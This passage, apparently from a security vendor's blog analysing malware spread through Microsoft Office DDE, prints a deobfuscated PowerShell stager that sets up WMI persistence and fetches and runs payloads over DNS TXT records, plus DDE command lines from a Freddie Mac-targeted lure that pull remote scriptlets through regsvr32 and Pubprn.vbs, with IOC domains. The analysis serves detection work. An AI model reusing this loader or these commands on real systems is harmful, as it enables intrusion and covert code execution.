  Set-WmiInstance -Computername $env:COMPUTERNAME -Namespace 'root\subscription' -Class CommandLineEventConsumer -Arguments @{Name = ${_/\/=\_/==\_/=\_/}; ExecutablePath = 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'; CommandLineTemplate = &quot;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -noni -w hidden -e ${___/\/==\/=\/===\} &quot;}
  }
}}
Invoke-WMI-Pers
Invoke-PrepareScheduledTask
IEX ${_/=\/==\/\/\/==\/}
&lt;/code&gt;

&lt;p&gt;The payload established persistence via multiple locations in the Windows Registry. Establishes persistence via WMI to execute during Windows Logon. There’s also a new payload to decode, same drill. Here’s what we get:&lt;/p&gt;

&lt;code&gt;${/=\____/=\__/==\_} = 100
function Download-Big-TXT
{[CmdletBinding()]param([Parameter(ValueFromPipeline=$True)]$DomainList, [Parameter(ValueFromPipeline=$True)]${_____/\/=\/\/\__/\});
${_/\/=\______/====} = '';
${/=\_/\/=\/\__/=\_} = _/=\/\_/\__/\/\/\_ $DomainList;
${/=\/==\/\_/\___/=} = 0;
${__/\__/===\____/\/} = &quot;$(__/\___/=\__/===\/).${_____/\/=\/\/\__/\}.${/=\/==\/\_/\___/=}.${/=\_/\/=\/\__/=\_}&quot;;
${/=\_/=\_/=\___/\_} = ____/\_/\_/\/\_/\_ ${__/\__/===\____/\/};
if (${/=\_/=\_/=\___/\_} -eq 0) { return 0
}
while (${/=\_/=\_/=\___/\_} -ne $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('MAAuADAALgAwAC4AMAA='))))
{ Write-Host $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('SQBwADoAIAAkAHsALwA9AFwAXwAvAD0AXABfAC8APQBcAF8AXwBfAC8AXABfAH0A')));
${_/\/==\_/\_/==\__} = __/=====\/=\_/===\ ${/=\_/=\_/=\___/\_};
${__/==\/\___/===\/} = __/\/=\/=\/\_/\/\/ ${_/\/==\_/\_/==\__};
Write-Host ${__/==\/\___/===\/};
${___/===\_/=\/\/=\} = (__/=\__/\_/\/==\/= ${__/\__/===\____/\/}) -join '';
if (${___/===\_/=\/\/=\} -eq 0) {  return 0
}
${_/==\/\/\_/===\/\} = new-object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider;
${__/==\___/\/\/=\/} = (${_/==\/\/\_/===\/\}.ComputeHash([system.Text.Encoding]::UTF8.GetBytes(${___/===\_/=\/\/=\})) | foreach{$_.ToString(&quot;X2&quot;) }) -join &quot;&quot;;
${_/\/\/\_/==\_/=\/} = ____/==\/===\_/\/= ${__/==\___/\/\/=\/}.Substring(0, 8) | __/\/=\/=\/\_/\/\/; if([string]${__/==\/\___/===\/} -eq [string]${_/\/\/\_/==\_/=\/})
{ ${_/\/=\______/====} += ${___/===\_/=\/\/=\};
${/=\_/\/=\/\__/=\_} = _/=\/\_/\__/\/\/\_ $DomainList;
${/=\/==\/\_/\___/=}++;
}
${__/\__/===\____/\/} = &quot;$(__/\___/=\__/===\/).${_____/\/=\/\/\__/\}.${/=\/==\/\_/\___/=}.${/=\_/\/=\/\__/=\_}&quot;;
${/=\_/=\_/=\___/\_} = ____/\_/\_/\/\_/\_ ${__/\__/===\____/\/};
if (${/=\_/=\_/=\___/\_} -eq 0) {  return 0
}}
return [string]${_/\/=\______/====};
}
function _/=\/\_/\__/\/\/\_
{param([array]$DomainList)
if($DomainList.count -eq 1)
{ return $DomainList;
}
return $DomainList[(Get-Random -Maximum ([array]$DomainList).count)];
}
function __/\___/=\__/===\/()
{${/=\_/\/=\/====\/=} = gwmi Win32_BIOS | Select -ExpandProperty SerialNumber ;
${_/==\/\/\_/===\/\} = new-object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider;
${__/==\___/\/\/=\/} = (${_/==\/\/\_/===\/\}.ComputeHash([system.Text.Encoding]::UTF8.GetBytes(${/=\_/\/=\/====\/=})) | %{$_.ToString(&quot;X2&quot;) }) -join &quot;&quot;;
return ${__/==\___/\/\/=\/}.Substring(0, 10);
}
function _/==\/==\___/=\_/\
{[CmdletBinding()]param([Parameter(ValueFromPipeline=$True)][array]$DomainList, [scriptblock]${_/=\__/\_/=\/=\___});
if((-not $DomainList) -or ($DomainList.count -eq 0))
{ Throw $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBvACAAZABvAG0AYQBpAG4AcwA=')));
}
${/=\_/\/=\/\__/=\_} = _/=\/\_/\__/\/\/\_ $DomainList;
try
{ return &amp;amp;${_/=\__/\_/=\/=\___} -Domain ${/=\_/\/=\/\__/=\_};
}
catch
{ Write-Debug $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RQByAHIAbwByADoAIAAkAGUAcgByAG8AcgA=')));
return _/==\/==\___/=\_/\ ([array]($DomainList | ? {$_ -ne ${/=\_/\/=\/\__/=\_} })) ${_/=\__/\_/=\/=\___};
}}
function ____/\_/\_/\/\_/\_
{[CmdletBinding()] param([Parameter()]${__/\__/===\____/\/});
Write-Debug $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('WwBEAE4AUwBdACAAKABBACkAIAA9AD0APgAgACQAewBfAF8ALwBcAF8AXwAvAD0APQA9AFwAXwBfAF8AXwAvAFwALwB9AA==')));
${_/=====\/\_/=\_/=} = nslookup -type=a ${__/\__/===\____/\/} 2&amp;gt;&amp;amp;1;
${_____/=\___/\_/==} = [regex] $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('XABzACoAJAB7AF8AXwAvAFwAXwBfAC8APQA9AD0AXABfAF8AXwBfAC8AXAAvAH0AKAAuAGwAbwBjAGEAbABkAG8AbQBhAGkAbgApACoAXABzACoAQQBkAGQAcgBlAHMAcwAoAGUAcwApACoAOgBcAHMAKgAoAFsAXABkAFwALgBdACoAKQA=')));
${____/\__/==\_/\__} = ${_____/=\___/\_/==}.Match(${_/=====\/\_/=\_/=});
${/==\/\/\_/\__/\__} = 0
while ((-not ${____/\__/==\_/\__}.Success) -and (${/=\____/=\__/==\_} -ne ${/==\/\/\_/\__/\__})){ sleep -s 5
${/==\/\/\_/\__/\__} = ${/==\/\/\_/\__/\__} + 1
${_/=====\/\_/=\_/=} = nslookup -type=a ${__/\__/===\____/\/} 2&amp;gt;&amp;amp;1;
${_____/=\___/\_/==} = [regex] $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('XABzACoAJAB7AF8AXwAvAFwAXwBfAC8APQA9AD0AXABfAF8AXwBfAC8AXAAvAH0AKAAuAGwAbwBjAGEAbABkAG8AbQBhAGkAbgApACoAXABzACoAQQBkAGQAcgBlAHMAcwAoAGUAcwApACoAOgBcAHMAKgAoAFsAXABkAFwALgBdACoAKQA=')));
${____/\__/==\_/\__} = ${_____/=\___/\_/==}.Match(${_/=====\/\_/=\_/=});
}
if (-not ${____/\__/==\_/\__}.Success) { return 0
}
return ${____/\__/==\_/\__}.Groups[3].Value;
}
function __/=\__/\_/\/==\/=
{[CmdletBinding()]param([Parameter()]${__/\__/===\____/\/});
Write-Debug $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('WwBEAE4AUwBdACAAKABUAFgAVAApACAAPQA9AD4AIAAkAHsAXwBfAC8AXABfAF8ALwA9AD0APQBcAF8AXwBfAF8ALwBcAC8AfQA=')));
${_/=====\/\_/=\_/=} = nslookup -type=txt ${__/\__/===\____/\/} 2&amp;gt;&amp;amp;1;
${_____/=\___/\_/==} = [regex] $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('KAAiAFsAXgBcAHMAXQAqACIAXABzACoAKQArAA==')));
${__/======\/===\__} = ${_____/=\___/\_/==}.Matches(${_/=====\/\_/=\_/=});
${/==\/\/\_/\__/\__} = 0
while ((${__/======\/===\__}.count -eq 0) -and (${/=\____/=\__/==\_} -ne ${/==\/\/\_/\__/\__})){ sleep -s 5
${/==\/\/\_/\__/\__} = ${/==\/\/\_/\__/\__} + 1
${_/=====\/\_/=\_/=} = nslookup -type=txt ${__/\__/===\____/\/} 2&amp;gt;&amp;amp;1;
${_____/=\___/\_/==} = [regex] $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('KAAiAFsAXgBcAHMAXQAqACIAXABzACoAKQArAA==')));
${__/======\/===\__} = ${_____/=\___/\_/==}.Matches(${_/=====\/\_/=\_/=});
}
if (${__/======\/===\__}.count -eq 0) { return 0
}
return (${_____/=\___/\_/==}.Matches(${_/=====\/\_/=\_/=}) | Select -ExpandProperty Value) -join '' -replace '&quot;' -replace '`n' -replace ' ';
}
function ___/\___/==\__/=\/
{[CmdletBinding()]Param ([Parameter(Mandatory=$True,ValueFromPipeline=$True,ValueFromPipelineByPropertyName=$True)][byte[]] $byteArray = $(Throw($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LQBiAHkAdABlAEEAcgByAGEAeQAgAGkAcwAgAHIAZQBxAHUAaQByAGUAZAA='))))))
Process
{ ${/===\___/\_/==\__} = New-Object System.IO.MemoryStream;
${/===\___/\_/==\__}.Write($byteArray, 0, $byteArray.Length);
$null = ${/===\___/\_/==\__}.Seek(0,0);
${__/\___/\_/==\__/} = New-Object System.IO.Compression.GZipStream(${/===\___/\_/==\__}, [System.IO.Compression.CompressionMode]::Decompress);
${_/\/=\_/\____/\/=} = New-Object System.IO.MemoryStream;
${/=\__/=\/\_/\____} = New-Object System.IO.StreamReader(${__/\___/\_/==\__/}, [system.Text.Encoding]::UTF8);
echo ${/=\__/=\/\_/\____}.readtoend();
}}
function _/=\/==\__/====\/\
{[CmdletBinding()]param([Parameter(ValueFromPipeline=$True)]${__/=\/===\_/=\_/==});
if (${__/=\/===\_/=\_/==} -eq 0) { return 0
}
${__/\_______/\/==\} = [System.Convert]::FromBase64String(${__/=\/===\_/=\_/==});
return ___/\___/==\__/=\/(${__/\_______/\/==\});
}
function Get-Stage-PS
{[CmdletBinding()]param([Parameter()]$DomainList);
return _/==\/==\___/=\_/\ $DomainList
{return __/=\__/\_/\/==\/= &quot;$(__/\___/=\__/===\/).stage.${/=\_/\/=\/\__/=\_}&quot; | _/=\/==\__/====\/\; };};
function __/=\/=\_/\/=\____
{[CmdletBinding()]param([Parameter(ValueFromPipeline=$True)]$DomainList);
return Download-Big-TXT $DomainList $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwB0AGEAZwBlAA=='))) | _/=\/==\__/====\/\;
}
function ____/==\/===\_/\/=
{[CmdletBinding()] param([Parameter(ValueFromPipeline=$True)]${______/====\/=\___});
${_/\___/\___/==\__} = @{ '0' = 0;
'1' = 1;
'2' = 2;
'3' = 3;
'4' = 4;
'5' = 5;
'6' = 6;
'7' = 7;
'8' = 8;
'9' = 9;
'A' = 10;
'B' = 11;
'C' = 12;
'D' = 13;
'E' = 14;
'F' = 15;
};
${___/===\/\______/} = &quot;${______/====\/=\___}&quot;.Length;
${_/\_/\_/\_/\/\__/} = ${___/===\/\______/};
[uint64]${_______/=\_/====\} = 0;
while (${___/===\/\______/} -ne 0)
{ ${___/===\/\______/}--;
${__/\/\__/=\____/=} = ${_/\___/\___/==\__}[[string]${______/====\/=\___}[${___/===\/\______/}]];
${_/\__/=\__/=\/\/=} = _/==\/\_/\/==\/\_/ 16 (${_/\_/\_/\_/\/\__/} - ${___/===\/\______/} - 1);
${_______/=\_/====\} += [uint64]([uint64]${__/\/\__/=\____/=} * [uint64]${_/\__/=\__/=\/\/=});
}
return ${_______/=\_/====\};
}
function _/==\/\_/\/==\/\_/
{[CmdletBinding()] param([Parameter(ValueFromPipeline=$True)]${_/=\__/\/=\/\/=\/=}, [Parameter(ValueFromPipeline=$True)]${__/\/===\/\/\/\_/=});
return [Math]::Pow(${_/=\__/\/=\/\/=\/=}, ${__/\/===\/\/\/\_/=});
}
function __/\/=\/=\/\_/\/\/
{[CmdletBinding()]param([Parameter(ValueFromPipeline=$True)]${___/\_/\/\/\_/===\});
return [convert]::ToString(${___/\_/\/\/\_/===\},2);
}
function __/=====\/=\_/===\
{[CmdletBinding()]param([Parameter(ValueFromPipeline=$True)]${__/\_/\/\_/=\___/=});
${_/\/=\/===\_/===\} = $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JAB7AF8AXwAvAFwAXwAvAFwALwBcAF8ALwA9AFwAXwBfAF8ALwA9AH0A'))).Split(&quot;.&quot;);
${_/\/\__/\/\_/\/\_} = [uint64]([uint64]${_/\/=\/===\_/===\}[0] * 16777216);
${/\____/\__/=\/===} = [uint64]([uint64]${_/\/=\/===\_/===\}[1] * 65536);
${/=\_/\/=\/\_/==\/} = [uint64]([uint64]${_/\/=\/===\_/===\}[2] * 256);
${_/\/==\/\/===\/=\} = ${_/\/=\/===\_/===\}[3];
${_/==\/\/\_/\/\___} = ${_/\/\__/\/\_/\/\_} + ${/\____/\__/=\/===} + ${/=\_/\/=\/\_/==\/} + ${_/\/==\/\/===\/=\};
return ${_/==\/\/\_/\/\___};
}
function Int-To-Ip
{[CmdletBinding()] param([Parameter(ValueFromPipeline=$True)]$uint);
${_/\/\__/\/\_/\/\_} = [uint64]([uint64]$uint / 16777216) % 256;
${/\____/\__/=\/===} = [uint64]([uint64]$uint / 65536) % 256;
${/=\_/\/=\/\_/==\/} = [uint64]([uint64]$uint / 256) % 256;
${_/\/==\/\/===\/=\} = [uint64]([uint64]$uint) % 256;
return [string]${_/\/\__/\/\_/\/\_} + '.' + [string]${/\____/\__/=\/===} + '.' + [string]${/=\_/\/=\/\_/==\/} + '.' + [string]${_/\/==\/\/===\/=\};
}
${/==\/\_/\/====\/\} = @($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBzADAALgBwAHcA'))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBzADAALgBzAGkAdABlAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBzADAALgBzAHAAYQBjAGUA'))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBzADAALgB3AGUAYgBzAGkAdABlAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBzADEALgBwAHIAZQBzAHMA'))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBzADEALgB3AGUAYgBzAGkAdABlAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBzADIALgBwAHIAZQBzAHMA'))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBzADMALgBzAGkAdABlAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBzADMALgBzAHAAYQBjAGUA'))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBzADQALgBzAGkAdABlAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBzADQALgBzAHAAYQBjAGUA'))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBzADUALgBiAGkAegA='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBzADUALgBvAG4AbABpAG4AZQA='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBzADUALgBwAHcA'))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBzADAALgBiAHoA'))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBzADAALgBjAGwAaQBjAGsA'))));
try
{${_/\/=\______/====} = __/=\/=\_/\/=\____(${/==\/\_/\/====\/\}); iex ${_/\/=\______/====};
}
catch
{Write-Debug $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('WwBNAGEAaQBuAF0AIABHAGUAbgBlAHIAYQBsACAAZgBhAGkAbAB1AHIAZQA=')));
Write-Host $Error[0];
}
&lt;/code&gt;

&lt;p&gt;You’ll notice a number of base64 encoded strings above. No doubt, this is another evasion tactic. If you dig into those, you’ll see they are all password protected via HTTP authentication. InQuest detects exploitation of these and other DDE attacks via our Deep File Inspection (DFI) stack and signature MC_Office_DDE_Command_Exec (event ID 5000728) released on October 10th, 2017. Our DFI stack is what’s responsible for peeling away the variety of layers typically present in malicious content. The process is recursive and a variety of techniques are applied in parallel to expose all embedded layers. For more information about DFI, see&nbsp;&lt;a href=&quot;https://web.archive.org/web/2018/http://www.inquest.net/&quot; target=&quot;_top&quot;&gt;www.InQuest.net&lt;/a&gt;&nbsp;or reach out to us directly.&lt;/p&gt;

IOCs

&lt;ul&gt;&lt;li&gt;ns0[.]pw&lt;/li&gt;&lt;li&gt;ns0[.]site&lt;/li&gt;&lt;li&gt;ns0[.]space&lt;/li&gt;&lt;li&gt;ns0[.]website&lt;/li&gt;&lt;li&gt;ns1[.]press&lt;/li&gt;&lt;li&gt;ns1[.]website&lt;/li&gt;&lt;li&gt;ns2[.]press&lt;/li&gt;&lt;li&gt;ns3[.]site&lt;/li&gt;&lt;li&gt;ns3[.]space&lt;/li&gt;&lt;li&gt;ns4[.]site&lt;/li&gt;&lt;li&gt;ns4[.]space&lt;/li&gt;&lt;li&gt;ns5[.]biz&lt;/li&gt;&lt;li&gt;ns5[.]online&lt;/li&gt;&lt;li&gt;ns5[.]pw&lt;/li&gt;&lt;li&gt;ns0[.]bz&lt;/li&gt;&lt;li&gt;ns0[.]click&lt;/li&gt;&lt;/ul&gt;
&lt;h2&gt;Freddie Mac Targeted Lure&lt;/h2&gt;
&lt;p&gt;In reviewing the results of out Microsoft Office DDE malware hunt, (&lt;a href=&quot;https://github.com/InQuest/yara-rules/blob/master/Microsoft_Office_DDE_Command_Execution.rule&quot; target=&quot;_top&quot;&gt;Microsoft_Office_DDE_Command_Execution.rule&lt;/a&gt;) we came across an interesting sample targeted to Freddie Mac employees. This post dives into the dissection of this well put together sample.&amp;nbsp;The targeted lure&amp;nbsp;&lt;a href=&quot;https://www.virustotal.com/en/file/313fc5bd8e1109d35200081e62b7aa33197a6700fc390385929e71aabbc4e065/analysis/&quot; target=&quot;_top&quot;&gt;313fc5bd8e1109d35200081e62b7aa33197a6700fc390385929e71aabbc4e065 (7/61 AV detection rate)&lt;/a&gt;&amp;nbsp;masquerades itself as a Six Flags Fright Fest ticket giveaway specifically for Freddie Mac employees:&lt;img src=&quot;/legacy/2017-10-14-microsoft-office-dde-freddie-mac-targeted-lure/freddie-mac-lure.png&quot; alt=&quot;&quot;&gt;Freddie Mac Lure&lt;/p&gt;

&lt;p&gt;Let's dive into the payload, we'll use the 7z+sed technique outlined in our&amp;nbsp;&lt;a href=&quot;/blog/2017-10-13/&quot;&gt;previous post&lt;/a&gt;.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ 7z e -so 313fc5bd8e1109d35200081e62b7aa33197a6700fc390385929e71aabbc4e065 | sed 's/&amp;lt;&amp;#91;^&amp;gt;]*&amp;gt;//g'

1381125635000 DDEAUTO &quot;C:\\Programs\\Microsoft\\Office\\MSWord.exe\\..\\..\\..\\..\\windows\\system32\\cmd.exe&quot; &quot;/c regsvr32 /u /n /s /i:\&quot;h\&quot;t\&quot;t\&quot;p://downloads.sixflags-frightfest.com/ticket-ids scrobj.dll&quot; &quot;For Security Reasons&quot; Freddie mac Employee GiveawayName:Click or tap here to enter text.Phone:Click or tap here to enter text.Email:Click or tap here to enter text.center14605Freddie Mac has partnered with Six Flags America to offer Freddie Mac employees the opportunity to win FREE tickets to Six Flags America during Fright Fest! Please provide your information in the form below, save this document, and send to offers@sixflags-frightfest.com to enter for a chance to win.00Freddie Mac has partnered with Six Flags America to offer Freddie Mac employees the opportunity to win FREE tickets to Six Flags America during Fright Fest! Please provide your information in the form below, save this document, and send to offers@sixflags-frightfest.com to enter for a chance to win.center7967980
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;This payload uses the same trick as the&amp;nbsp;&lt;a href=&quot;http://blog.inquest.net/blog/2017/10/14/01-microsoft-office-dde-sec-omb-approval-lure/&quot; target=&quot;_top&quot;&gt;SEC OMB lure&lt;/a&gt;&amp;nbsp;to improve the chances of coercing targets to activate the DDE payload. Note the usage of quotes to mask the string &quot;http&quot;, an evasion tactic. The domain is cleverly chosen, topical (Halloween), and was registered recently through Name Cheap on 10/12/2017:&lt;/p&gt;

&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://whois.domaintools.com/sixflags-frightfest.com&quot; target=&quot;_top&quot;&gt;https://whois.domaintools.com/sixflags-frightfest.com&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;

&lt;p&gt;Pulling down the contents of ticket-ids we get a large, nearly 500Kb payload. Here it is, trimmed for brevity:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/legacy/2017-10-14-microsoft-office-dde-freddie-mac-targeted-lure/dde-payload-2.txt&quot;&gt;View the trimmed payload (5 KB)&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Notice the above payload begins by modifying the registry for additional privileges by altering the following key:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&quot;HKEY_CURRENT_USER\Software\Microsoft\Office\&quot; &amp;amp; objExcel.Version &amp;amp; &quot;\Excel\Security\AccessVBOM&quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;This is done in order to pivot execution through Microsoft Excel. Once modified, it later restores the registry setting to the previous value. This technique is generally used to mask execution chains in an attempt to hide from endpoint security solutions. Here's a sample from May of this year that uses the same technique:&lt;/p&gt;

&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://malwr.com/analysis/MTU4ZDZmM2M3NDk2NGM4NzgyNjUzZjgxYTY5NDcyNmU/&quot; target=&quot;_top&quot;&gt;https://malwr.com/analysis/MTU4ZDZmM2M3NDk2NGM4NzgyNjUzZjgxYTY5NDcyNmU/&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.virustotal.com/en/file/7009d34484e7143fbcd5f6dbc2dafc09caab8c76c43daf0ace803f28efd60bf5/analysis/&quot; target=&quot;_top&quot;&gt;https://www.virustotal.com/en/file/7009d34484e7143fbcd5f6dbc2dafc09caab8c76c43daf0ace803f28efd60bf5/analysis/&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;

&lt;p&gt;Next, it decodes another payload and then flips back the &quot;AccessVBOM&quot; setting back to the original value. Decode the next payload and you get another file, ~350Kb in size. Here it is, trimmed for brevity:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/legacy/2017-10-14-microsoft-office-dde-freddie-mac-targeted-lure/dde-payload-1.txt&quot;&gt;View the trimmed payload (6 KB)&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The final dropped payload from the above trimmed content is a ~200Kb malicious DLL:&lt;/p&gt;

&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.virustotal.com/en/file/5d3b34c963002bd46848f5fe4e8b5801da045e821143a9f257cb747c29e4046f/analysis/1508022767/&quot; target=&quot;_top&quot;&gt;5d3b34c963002bd46848f5fe4e8b5801da045e821143a9f257cb747c29e4046f (47/66 AV detection rate)&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;

&lt;p&gt;This final payload is widely detected. InQuest detects exploitation of these and other DDE attacks via our Deep File Inspection (DFI) stack and signature MC_Office_DDE_Command_Exec (event ID 5000728) released on October 10th, 2017. Our DFI stack is what's responsible for peeling away the variety of layers typically present in malicious content. The process is recursive and a variety of techniques are applied in parallel to expose all embedded layers. For more information about DFI, see&amp;nbsp;&lt;a href=&quot;https://web.archive.org/web/2018/http://www.inquest.net/&quot; target=&quot;_top&quot;&gt;www.InQuest.net&lt;/a&gt;&amp;nbsp;or reach out to us directly.&lt;/p&gt;

&lt;p&gt;To follow along the highlights of the conversation on Twitter, see the following moment:&lt;/p&gt;

&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://twitter.com/i/moments/918126999738175489&quot; target=&quot;_top&quot;&gt;Microsoft Office DDE Macro-less Command Execution Vulnerability&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;

&lt;h2&gt;Update 10/17/2017&lt;/h2&gt;

&lt;p&gt;We've updated our hunt rule (&lt;a href=&quot;https://github.com/InQuest/yara-rules/blob/master/Microsoft_Office_DDE_Command_Execution.rule&quot; target=&quot;_top&quot;&gt;Microsoft_Office_DDE_Command_Execution.rule&lt;/a&gt;) to widen the net for catching samples as we've seen some interesting new techniques for obfuscation and pivoting:&lt;/p&gt;

&lt;ul&gt;&lt;li&gt;Obfuscated XML:&amp;nbsp;&lt;a href=&quot;https://twitter.com/InQuest/status/920272076371456000&quot; target=&quot;_top&quot;&gt;https://twitter.com/InQuest/status/920272076371456000&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Pubprn.vbs pivot:&amp;nbsp;&lt;a href=&quot;https://twitter.com/InQuest/status/920321960235724802&quot; target=&quot;_top&quot;&gt;https://twitter.com/InQuest/status/920321960235724802&lt;/a&gt;&amp;nbsp;/&amp;nbsp;&lt;a href=&quot;https://twitter.com/subTee/status/855867502089220096&quot; target=&quot;_top&quot;&gt;https://twitter.com/subTee/status/855867502089220096&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;

&lt;p&gt;The Pubprn.vbs technique was publicly discussed in April of 2017 and seen used here&amp;nbsp;&lt;a href=&quot;https://www.virustotal.com/en/file/a335270704e339babeb19e81dccaf3dfa0808bdd4ae7f4b1a1ddbbd65f5e017d/analysis/&quot; target=&quot;_top&quot;&gt;a335270704e339babeb19e81dccaf3dfa0808bdd4ae7f4b1a1ddbbd65f5e017d (7/60 AV detection rate)&lt;/a&gt;&amp;nbsp;in another lure targeting Freddie Mac which masquerades itself as a ticket raffle for a Guns and Roses concert:&lt;img src=&quot;/legacy/2017-10-14-microsoft-office-dde-freddie-mac-targeted-lure/freddie-mac-lure-guns-and-roses.png&quot; alt=&quot;&quot;&gt;Freddie Mac Lure (Guns'n'Roses)&lt;/p&gt;

&lt;p&gt;It's mildly interesting to note that the AV detections above were all for CVE-2016-7262. The carrier is an XLSX file and differs from the typical DDE sample we've been seeing:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ cat a335270704e339babeb19e81dccaf3dfa0808bdd4ae7f4b1a1ddbbd65f5e017d/xl/externalLinks/externalLink1.xml
&lt;strong&gt;&amp;lt;?&lt;/strong&gt;xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot; standalone=&quot;yes&quot;&lt;strong&gt;?&amp;gt;&lt;/strong&gt;
&amp;lt;externalLink xmlns=&quot;http://schemas.openxmlformats.org/spreadsheetml/2006/main&quot; xmlns:mc=&quot;http://schemas.openxmlformats.org/markup-compatibility/2006&quot; mc:Ignorable=&quot;x14&quot; xmlns:x14=&quot;http://schemas.microsoft.com/office/spreadsheetml/2009/9/main&quot;&amp;gt;&amp;lt;ddeLink xmlns:r=&quot;http://schemas.openxmlformats.org/officeDocument/2006/relationships&quot; ddeService=&quot;cmd&quot; ddeTopic=&quot; /C Cscript %WINDIR%\System32\Printing_Admin_Scripts\en-US\Pubprn.vbs localhost &amp;amp;quot;script:https://gunsandroses&amp;#91;.]live/ticket-id&amp;amp;quot;&quot;&amp;gt;&amp;lt;ddeItems&amp;gt;&amp;lt;ddeItem name=&quot;A0&quot; advise=&quot;1&quot; /&amp;gt;&amp;lt;ddeItem name=&quot;StdDocumentName&quot; ole=&quot;1&quot; advise=&quot;1&quot; /&amp;gt;&amp;lt;/ddeItems&amp;gt;&amp;lt;/ddeLink&amp;gt;&amp;lt;/externalLink&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Notice that similar to the previous lure, the resource for the next stage payload is at&amp;nbsp;&lt;code&gt;/ticket-id&lt;/code&gt;. The domains are registered within a week of one another and both through namecheap.com:&lt;/p&gt;

&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://whois.domaintools.com/sixflags-frightfest.com&quot; target=&quot;_top&quot;&gt;https://whois.domaintools.com/sixflags-frightfest.com&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://whois.domaintools.com/gunsnroses.shop&quot; target=&quot;_top&quot;&gt;https://whois.domaintools.com/gunsnroses.shop&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;

&lt;p&gt;We feel confident in stating the same actor is behind both of these payloads. Whether these carriers are part of a pentesting exercise or actually motivated nefariously is anyone's guess. The domains documented in both of these lures, while once active, are both down as of the time of this writing. The&amp;nbsp;&lt;a href=&quot;http://blog.inquest.net/blog/2017/10/14/03-microsoft-office-dde-poland-ransomware/&quot; target=&quot;_top&quot;&gt;Vortex Ransomware&lt;/a&gt;&amp;nbsp;payload are still actively being served however.&lt;/p&gt;

&lt;h2&gt;IOCs&lt;/h2&gt;

&lt;ul&gt;&lt;li&gt;sixflags-frightfest[.]com&lt;/li&gt;&lt;li&gt;gunsandroses[.]live&lt;/li&gt;&lt;/ul&gt;
&lt;h2&gt;Vortex Ransomware Targeting Poland&lt;/h2&gt;
